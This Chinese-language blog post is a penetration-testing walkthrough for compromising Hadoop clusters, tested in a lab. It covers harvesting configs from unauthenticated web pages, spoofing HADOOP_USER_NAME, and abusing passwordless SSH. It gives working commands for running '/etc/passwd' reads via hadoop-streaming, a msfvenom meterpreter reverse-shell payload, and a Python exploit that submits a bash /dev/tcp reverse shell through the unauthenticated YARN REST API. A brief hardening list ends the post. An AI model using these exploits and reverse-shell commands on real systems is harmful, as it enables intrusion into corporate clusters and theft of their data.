摘要:http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html。這個 9000 端口的作用是前面我們把 hdfs://master:9000 寫入了 core-site.xml 文件,讓我們實現了訪問 hdfs ,假設在之前的配置文件不寫的話即可通過指定的方式訪問 hdfs dfs -ls hdfs://master:9000/。

        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/><div>

    <span>最近因爲某些原因學習接觸到了開源的大數據框架:</span>
    <code>Hadoop</code>
    <span>,該框架允許使用簡單的編程模型跨計算機集羣對大型數據集進行分佈式處理。它旨在從單個服務器擴展到數千臺機器,每臺機器都提供本地計算和存儲,詳細概念知識背景我這就不介紹了,各位自行學習。</span>


    <span>所以自己啓發了這個大數據的框架是否有安全問題,畢竟</span>
    <code>Hadoop</code>
    <span>在大型企業是很常見的(之前參與某單位滲透測試也碰見過),可能有同學沒見過,這是因爲</span>
    <code>Hadoop</code>
    <span>一般在內網中部署,業務端口不對外的,估如果沒進行到內網橫向滲透階段是比較難見到的。</span>


    <span>本文技術含量可能不高,攻擊手法等均非原創,寫本文的出發點是自己遇到的時候百度相關漏洞,知識點過於零散且這塊資料較少,所以本文進行了蒐集整理,實現一些復現,讓各位在內網滲透的過程中如果遇到以最少的時間成本、不需要深入瞭解</span>
    <code>hadoop</code>
    <span>即可實現攻擊、拿到權限的目的。</span>

Hadoop 是個生態圈,非單一軟件,而是由 HDFS、YAERN、MapReduce、Zookeeper、Hbase 等組件提供支持。
<h3>
    <span>環境準備及說明</span>
</h3>
hadoop 版本: 2.7.1(節點) 2.7.7(kali攻擊機) 
目前最新穩定版本已經爲 3.2.1,在 3.x 系列下未試驗過不保證均存在以下安全問題。
採取完全分佈式模式部署

    <span>管理 Hadoop 的用戶名:</span>
    <code>hadoop</code>

<figure>
    <table>
        <thead>
            <tr>
                <th width="23%">
                    <span>主機名</span>
                </th>
                <th width="42%">
                    <span>Ip</span>
                </th>
                <th width="35%">
                    <span>功能</span>
                </th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>
                    <span>master</span>
                </td>
                <td>
                    <span>192.168.1.200</span>
                </td>
                <td>
                    <span>主節點(管家角色、管理從節點)</span>
                </td>
            </tr>
            <tr>
                <td>
                    <span>slave1</span>
                </td>
                <td>
                    <span>192.168.1.201</span>
                </td>
                <td>
                    <span>從節點1</span>
                </td>
            </tr>
            <tr>
                <td>
                    <span>kali</span>
                </td>
                <td>
                    <span>192.168.1.8</span>
                </td>
                <td>
                    <span>kali攻擊機</span>
                </td>
            </tr>
        </tbody>
    </table>
</figure>
<h3>
    <span>設置 Hadoop 攻擊環境</span>
</h3>
提前設置工作環境以執行某些特定的攻擊
1、下載 Hadoop 安裝包
<pre class="prettyprint">wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-2.7.7/hadoop-2.7.7.tar.gz
2、解壓
tar xvf hadoop-2.7.7.tar.gz
    <span>3、設置</span>
    <code>JAVA_HOME</code>
    <span>環境變量</span>

<pre>export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-i386
    <span>4、(可選)將Hadoop的</span>
    <code>bin</code>
    <span>路徑添加到PATH環境變量</span>

<pre>export PATH=$PATH:/opt/hadoop-2.7.7/bin
5、測試
hadoop version
6、下載 Hadoop 攻擊包(後續使用)
git clone https://github.com/wavestone-cdt/hadoop-attack-library.git

Hadoop 存在的安全問題彙總

1、信息收集

獲取目標環境配置

必須在客戶端 (kali) 的不同文件中配置幾個集羣參數,才能與 Hadoop 集羣進行交互。
    <span>在內網中如何確定某臺機器爲</span>
    <code>Hadoop</code>
    <span>兩種辦法:</span>


    <span>1、通過端口探測的方式</span>
    <code>(nmap)</code>
    <span>,</span>


    <span>2、通過 http 訪問某些業務端口確定</span>
    <code>hadoop</code>


    <img src="https://img2.tuicool.com/BB3AJ3e.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>1、在 </span>
Hadoop 攻擊包 中存在  HadoopSnooper ,該腳本允許攻擊者通過 Hadoop 組件的 Web 界面上公開的配置文件輕鬆檢索合適的最小客戶端配置。
我這邊的話就不採取腳本的方式而是手工的方式(初次手工熟悉過程).

    <span>進入在</span>
    <code>kali</code>
    <span>中</span>
    <code>hadoop</code>
    <span>的配置目錄: </span>
    <code><hadoop_installation>/etc/hadoop</code>


    <span>2、手工訪問</span>
    <code>8088</code>
    <span>或</span>
    <code>50070、8042、16010</code>
    <span>等端口查看 conf 配置,腳本就是爬取 hadoop 配置生成到本地,實現自動化。</span>

hadoop 相關端口詳情後面介紹,打開下面的鏈接:
<pre>http://192.168.1.200:50070/conf
    <img src="https://img0.tuicool.com/zUNBFfm.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>我們先提取</span>
    <code>fs.defaultFS</code>
    <span>保存到本地</span>
    <code>core-site.xml</code>
    <span>文件內(conf 內存在大量 Hadoop 的配置信息,這邊算是信息泄露一個點,無驗證即可訪問到。)</span>


    <img src="https://img2.tuicool.com/ymqA3if.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>3、執行</span>
    <code>hdfs</code>
    <span>命令訪問</span>
    <code>hadoop</code>
    <span>中</span>
    <code>hdfs</code>

hdfs 爲 Hadoop 分佈式文件系統 (HDFS), 簡單理解: 該文件系統跟本地文件系統一樣均可用來存放數據、文件,不同的是它是分佈式,數據存在多臺機器的本地系統上,也就是說 HDFS 還是需要依賴於本地文件系統。
查看 hdfs 文件系統的根目錄,存在 3 個目錄。
<pre>hdfs dfs -ls /
    <img src="https://img2.tuicool.com/6R3MzuU.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>假設前面的</span>
    <code>core-site.xml</code>
    <span>未配置成功,訪問 hdfs 根目錄則會出現本地根目錄.</span>


    <img src="https://img2.tuicool.com/jaQjmqq.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

<h4>
    <span>Hadoop 部分重要服務端口</span>
</h4>
以下的端口都是我們滲透的過程中會遇到的
<h4>1、Hdfs 部分服務端口</h4>
<figure>
    <table>
        <thead>
            <tr>
                <th>
                    <span>端口</span>
                </th>
                <th>
                    <span>作用</span>
                </th>
                <th/>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>
                    <span>9000</span>
                </td>
                <td>
                    <span>fs.defaultFS,如:hdfs://172.25.40.171:9000</span>
                </td>
            </tr>
            <tr>
                <td>
                    <span>50070</span>
                </td>
                <td>
                    <span>dfs.namenode.http-address 監控狀態http頁面端口</span>
                </td>
            </tr>
        </tbody>
    </table>
</figure>

    <span>這個</span>
    <code>9000</code>
    <span>端口的作用是前面我們把</span>
    <code>hdfs://master:9000</code>
    <span>寫入了</span>
    <code>core-site.xml</code>
    <span>文件,讓我們實現了訪問</span>
    <code>hdfs</code>
    <span>,假設在之前的配置文件不寫的話即可通過指定的方式訪問</span>
    <code>hdfs dfs -ls hdfs://master:9000/</code>


    <img src="https://img0.tuicool.com/iIBNZzB.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <code>50070</code>
    <span>則是可以通過 http 頁面查看 hdfs 狀態。</span>

<pre>http://192.168.1.200:50070/
    <img src="https://img0.tuicool.com/RzUZFbY.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>
    <span>這個 Live Nodes 比較重要能查看到當前集羣存活的節點信息。</span>


    <img src="https://img2.tuicool.com/mamEN3Q.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <img src="https://img0.tuicool.com/NZ7v2uf.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>比較重要的還有</span>
    <code>Utilities</code>
    <span>,即可以瀏覽文件系統 (HDFS),和查看日誌(可能留存敏感信息)</span>


    <img src="https://img1.tuicool.com/BbuIney.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

這邊即是圖形界面訪問,之前我們是通過命令行方式

    <img src="https://img1.tuicool.com/aI3eeaY.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

均可實現 download,在真實內網滲透中這時候你就可以扒扒看是否有你需要的數據。

    <span>文件所有者是</span>
    <code>hadoop</code>
    <span>,權限爲</span>
    <code>rwxr-xr-x</code>
    <span>意味着可讀不可寫。突破實現寫的問題我們後面展開。</span>
    <strong/>

<p style="text-align:center">
    <img src="https://img2.tuicool.com/UvaYN3V.png!web" class="alignCenter" referrerpolicy="no-referrer"/>
</p>
<h4>2、yarn部分服務端口</h4>
<figure>
    <table>
        <thead>
            <tr>
                <th>
                    <span>端口</span>
                </th>
                <th>
                    <span>作用</span>
                </th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>
                    <span>8088</span>
                </td>
                <td>
                    <span>yarn.resourcemanager.webapp.address,YARN的http端口</span>
                </td>
            </tr>
        </tbody>
    </table>
</figure>
<pre>http://192.168.1.200:8088/cluster/nodes
可以查看集羣節點情況以及作業提交情況(後續攻擊需要提交作業)
    <img src="https://img0.tuicool.com/zYJZbaz.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

<h4>3、zookeeper 部分服務端口</h4>
<figure>
    <table>
        <thead>
            <tr>
                <th>
                    <span>端口</span>
                </th>
                <th>
                    <span>作用</span>
                </th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>
                    <span>2181</span>
                </td>
                <td>
                    <span>ZooKeeper,用來監聽客戶端的連接</span>
                </td>
            </tr>
        </tbody>
    </table>
</figure>
zookeeper 屬於 Hadoop 生態圈之一,存在未授權訪問的問題
<pre>echo envi|nc 192.168.1.200 2181
可以存在部分敏感信息
    <img src="https://img0.tuicool.com/63ARbeZ.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

連接 ZooKeeper 服務端
<pre>./zkCli.sh -server 192.168.1.200:2181

4、HBASE 部分服務端口

端口 作用
16010 hbase.master.info.port,HMaster的http端口
    <img src="https://img1.tuicool.com/q6Fziu2.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <code>Hbase</code>
    <span> 是非關係型分佈式數據庫,訪問是沒權限校驗的</span>


    <span>如果是</span>
    <code>hbase</code>
    <span>集羣內的節點執行</span>
    <code>hbase shell</code>
    <span>即可以增刪改查</span>
    <code>hbase</code>


    <span>非集羣節點使用</span>
    <code>Java API</code>
    <span>即可,網上有現成寫好的方法實現操縱</span>

<h4>
    <span>2、瀏覽 HDFS 數據</span>
</h4>
瀏覽 HDFS 數據有兩種不同的方法:
1、WebHDFS API
2、Hadoop CLI
<h4>
    <span>WebHDFS</span>
</h4>

    <span>關於 WebHDFS 的訪問方式前面簡單提及了,就是通過訪問</span>
    <code>50070</code>
    <span>端口的方式,但是默認是關閉,之前的頁面只能 download,無法 put 等,需要通過</span>
    <code>hdfs-site.xml</code>
    <span>文件中的以下指令在羣集端配置此功能的激活:</span>

<pre>dfs.webhdfs.enabled: true
因爲默認關閉,所以一般有業務需求才會開啓,這邊就不演示了,相關 REST API 語法自行查找。 Hadoop攻擊包 中提供了一個 hdfsbrowser.py 腳本實現瀏覽的功能,主要是適應場景是無法進行 web 瀏覽訪問,無 Hadoop 客戶端的情況。
    <img src="https://img1.tuicool.com/3eeUN3y.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

<h4>
    <span>Hadoop CLI</span>
</h4>
<pre class="prettyprint">hadoop fs 命令等同於 hdfs dfs 
hadoop fs -ls hdfs://master:9000/ 列出根路徑的內容
    <img src="https://img1.tuicool.com/ieA7reY.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

<pre>hadoop fs -put core-site.xml hdfs://master:9000/user/hadoop/wcout/ 
    <span>上傳文件被拒絕,由於攻擊機</span>
    <code>kali</code>
    <span>當前用戶爲</span>
    <code>umask</code>
    <span>,不具備上傳權限。</span>


    <img src="https://img1.tuicool.com/VBN3Aj7.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

<h4>實現突破的方式</h4>

    <span>1、修改環境變量:</span>
    <code>export HADOOP_USER_NAME=hadoop</code>

因爲腳本在獲取用戶名的時候就是採取讀環境變量的方法,這邊直接篡改掉。

    <img src="https://img1.tuicool.com/mqUJbea.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

2、創建一個與 hdfs 具備權限的同名用戶去訪問(不推薦,在某些情況下(依託跳板機)可能不具備創建用戶等權限,且徒增賬號增加危險性)

    <img src="https://img0.tuicool.com/fMr2muu.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>3、如果採用</span>
    <code>JAVA API</code>
    <span>的方式進行</span>
    <code>hdfs</code>
    <span>操作可以在代碼中設置:</span>

<pre>System.setProperty("HADOOP_USER_NAME","hadoop");
或者傳參的方式
java -D HADOOP_USER_NAME=root
Hadoop API文檔:
https://hadoop.apache.org/docs/stable/api/index.html

3、免密登錄

    <span>在分佈式架構下因爲需要</span>
    <code>master</code>
    <span>節點要啓動 Hadoop 每個進程 (datanode, namenode 等這些進程),都需要手動輸入啓動進程所在的機器(集羣節點)的用戶密碼。以及在關閉時,也是需要手動輸入密碼,這樣過於繁瑣。所以一般都會配置集羣機器之間使用祕鑰登錄,這樣就無需手動輸入密碼了。</span>


    <span>這就暴露出一個問題,假設拿到了集羣中</span>
    <code>master</code>
    <span>節點的用戶權限 (shell),那它可以通過免密登錄到集羣中任何一臺節點,意味着整個集羣淪陷。</span>

官方配置文檔把配置免密 ssh 作爲配置 hadoop 的前提條件,且幾乎國內所有的配置教程也採用免密 ssh

    <span>1、我先把</span>
    <code>master</code>
    <span>與</span>
    <code>slave1</code>
    <span>之間</span>
    <code>ssh</code>
    <span>密鑰登錄去掉,然後啓動</span>
    <code>hadoop</code>
    <span>相關業務.從圖中可以看大在去掉密鑰的情況下我輸入了2次密碼,分別是</span>
    <code>master</code>
    <span>和</span>
    <code>slave1</code>
    <span>,假設集羣數量爲上百上千,光輸密碼這個工作量就是很大的。</span>


    <img src="https://img1.tuicool.com/IvQvMv6.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>2、</span>
    <code>master</code>
    <span>節點上生成公鑰分發到所需的節點上,啓動 hadoop 服務未出現要密碼,實際中則可利用這一點來登錄到任意節點上</span>


    <img src="https://img2.tuicool.com/VjeiU3U.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>但這邊就會出現 1 個問題,</span>
    <code>master</code>
    <span>是可以無密碼登錄任意節點,但是任意節點無法無密鑰訪問到其他節點乃至</span>
    <code>master</code>


    <span>但是我網上查看了些搭建</span>
    <code>Hadoop</code>
    <span>集羣的教程,發現有些教程密鑰登錄這一步驟給的操作最終是可以實現集羣任意節點間登錄的,所以這個情況需要看實際中運維人員怎麼部署的。</span>


    <span>所以拿到 shell 後可以看下</span>
    <code>authorized_keys</code>
    <span>文件內是什麼情況</span>

發現所有節點ip信息可以利用以下方式:
hosts 文件 /一般寫一個模板然後分發到所有節點
內部 DNS
50070 端口上的 Live Nodes 
ip 可能連續 /例如 192.168.1.200 201 202
<h4>
    <span>4、執行遠程命令</span>
</h4>

    <span>通過訪問之前的</span>
    <code>http://192.168.1.200:50070/conf</code>
    <span>頁面獲取到如下</span>
    <code>name</code>
    <span>的</span>
    <code>value</code>
    <span>信息並且應用到</span>
    <code>kali</code>
    <span>本地</span>
    <code>hadoop</code>
    <span>客戶端。(如果部分信息如可嘗試更換端口)</span>

1、hdfs-site.xml
<pre class="prettyprint"><span><span>&lt;<span>configuration</span>&gt;</span></span>
<property> <name>dfs.namenode.secondary.http-address</name> <value>master:50090</value> </property> </configuration>

2、core-site.xml

<configuration>

    <property>

        <name>fs.defaultFS</name>

        <value>hdfs://master:9000</value>

    </property>

</configuration>

3、yarn-site.xml

<configuration>

        <property>

            <name>yarn.resourcemanager.hostname</name>

            <value>master</value>

        </property>

</configuration>

4、mapred-site.xml

<configuration>

        <property>

                <name>mapreduce.framework.name</name>

                <value>yarn</value>

        </property>

        <property>

                <name>mapreduce.jobhistory.address</name>

                <value>master:10020</value>

        </property>

        <property>

                <name>mapreduce.jobhistory.webapp.address</name>

                <value>master:19888</value>

        </property>

</configuration>

執行單個命令 例如執行命令

    cat /etc/passwd
    hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand -mapper "/bin/cat /etc/passwd" -reducer NONE
    解釋:
hadoop-streaming-2.7.7.jar:
<pre>http://hadoop.apache.org/docs/r1.0.4/cn/streaming.html
-input:這將作爲要執行的命令的 MapReduce 的輸入提供,僅在該文件中至少放置一個字符,此文件對我們的目標無用 -output:MapReduce 將使用此目錄寫入結果,_SUCCESS 否則將失敗 -mapper:要執行的命令,例如 "/bin/cat /etc/passwd"。輸出結果將寫入 -output 目錄 -reducer NONE:不需要 reduce 執行單個命令,映射器就足夠了 檢測 output 情況:命令執行完出現如下字眼說明執行成功。
    <img src="https://img0.tuicool.com/jiIj6vQ.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    hadoop fs -cat hdfs://master:9000/user/hadoop/outcommand/part-00000
    成功執行命令且寫入進 output 目錄

    <img src="https://img1.tuicool.com/7Z3m6fy.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>
    <img src="https://img2.tuicool.com/aM7BFrF.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

<h4>
    <span>獲取 meterpreter</span>
</h4>
上述執行單個命令的方式,每次只能執行一次寫入一次,不夠靈活存在侷限性,下面採取反彈得到 meterpreter 的方式。
1、生成 payload
<pre class="prettyprint">msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 -f elf -o msf.payload
2、put payload 到 hdfs (不帶目錄即默認目錄 /user/hadoop)
hadoop fs -put msf.payload
3、msf 監聽
    <img src="https://img0.tuicool.com/ZjMb6bN.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

4、執行反彈
<pre class="prettyprint">hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand5 -mapper "./msf.payload" -file "./msf.payload" -background
    <span>-file</span>
/本地的 meterpreter 可執行文件上傳到 HDFS 上的路徑
    <code>-mapper</code>
    <span> /可執行的 meterpreter 的 HDFS 路徑</span>


    <code>-background</code>
    <span> /後臺運行</span>


    <img src="https://img0.tuicool.com/NbARNr3.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

5、msf 成功建立連接

    <img src="https://img2.tuicool.com/I3MbiyJ.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>


    <span>這邊可以看到得到的 shell 是</span>
    <code>slave1</code>
    <span>的,這是因爲</span>
    <code>MapReduce</code>
    <span>作業的分佈式性質,隨機落到某個集羣節點,這邊的</span>
    <code>payload</code>
    <span>需要使用</span>
    <code>reverse shell</code>
    <span>反彈的,因爲如果採用正向連接,假設集羣節點衆多,你可能不知道要連接到哪個 ip.</span>

假設落到 slave 上但是我需要 master 權限,只要 ssh 免密過去就好了。關於這個問題前面也提及了。

    <img src="https://img0.tuicool.com/2uuEviR.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

<h4>
    <span>5、Hadoop Yarn REST API 未授權漏洞利用</span>
</h4>
YARN 是 hadoop 系統上的資源統一管理平臺,其主要作用是實現集羣資源的統一管理和調度,可以把 MapReduce 計算框架作爲一個應用程序運行在 YARN 系統之上,通過 YARN 來管理資源。簡單的說,用戶可以向 YARN 提交特定應用程序進行執行,其中就允許執行相關包含系統命令。
<h4>
    <span>yarn 默認 8088 端口</span>
</h4>
1、檢測漏洞存在方式:
<pre>curl -X POST 192.168.1.200:8088/ws/v1/cluster/apps/new-application
2、漏洞利用 python 代碼:
import requests

target = 'http://192.168.1.200:8088/'

lhost = '192.168.1.8'  # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'

resp = requests.post(url)

print(resp.text)

app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'

data = {

    'application-id': app_id,

    'application-name': 'get-shell',

    'am-container-spec': {

        'commands': {

            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,

        },

    },

    'application-type': 'YARN',

}

print (data)

requests.post(url, json=data)

3、nc 監聽 9999 端口得到 shell

    <img src="https://img0.tuicool.com/UjaiEv7.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

4、msf 也提供了漏洞模塊,這邊就不演示了。
<pre>msf5 &gt; use exploit/linux/http/hadoop_unauth_exec
    <img src="https://img2.tuicool.com/Rb2YJfJ.jpg!web" class="alignCenter" referrerpolicy="no-referrer"/>

這邊提供一個 vulhub 的關於 Yarn REST API 未授權漏洞利用的靶場鏈接,各位可自行測試,就無需搭建 Hadoop 環境了。
<pre>https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

6. 暫定

Hadoop 作爲一個生態圈存在,存在的安全問題自然很多。 這邊算是先暫定爲 1.0 版本,後續陸續更新增加豐富。

安全加固

攻破 Hadoop 集羣並不是非常難。這主要是因爲默認安全機制的不嚴格,以及生態環境的複雜性而導致的。不僅如此,各大發行版也存在許多傳統漏洞。 1、開啓 kerberos 認證,參考:
http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html
2、敏感頁面以及目錄最好也不要對普通用戶開放,可 nginx 方向代理、iptables 解決。 (jmx/logs/cluster/status.jsp/) 3、hadoop 集羣單獨部署 做好安全監控發現被攻擊跡象及時高警 4、避免讓服務在公網中暴露 5、不要在邊緣節點佈置應用 6、更新軟件版本

參考

挖掘分佈式系統——Hadoop 的漏洞
https://zhuanlan.zhihu.com/p/28901633
Hadoop 攻擊庫
https://github.com/wavestone-cdt/hadoop-attack-library
Hadoop Yarn REST API 未授權漏洞利用挖礦分析
https://www.freebuf.com/vuls/173638.html
Hadoop Yarn REST API 未授權漏洞利用
https://www.cnblogs.com/junsec/p/11390634.html
Hadoop safari : Hunting for vulnerabilities
http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
Hadoop 安全問題介紹以及安全加固
    <a href="https://mp.weixin.qq.com/s?__biz=MzAwOTczODMxMw==&amp;mid=2651013365&amp;idx=1&amp;sn=62a561cf8e11cee5df554f3757a4d48e&amp;chksm=80ace1d3b7db68c59a531e6a562d65277ca211e0e3e9161eee1e8fd5a140b8146e67167b5da6&amp;scene=21#wechat_redirect" target="_blank" rel="nofollow,noindex">https://mp.weixin.qq.com/s?__biz=MzAwOTczODMxMw==&amp;mid=2651013365&amp;idx=1&amp;sn=62a561cf8e11cee5df554f3757a4d48e&amp;chksm=80ace1d3b7db68c59a531e6a562d65277ca211e0e3e9161eee1e8fd5a140b8146e67167b5da6#rd</a>

<p style="text-align:center">
    <img src="https://img2.tuicool.com/uMJbMre.png!web" class="alignCenter" referrerpolicy="no-referrer"/>
</p>
相關文章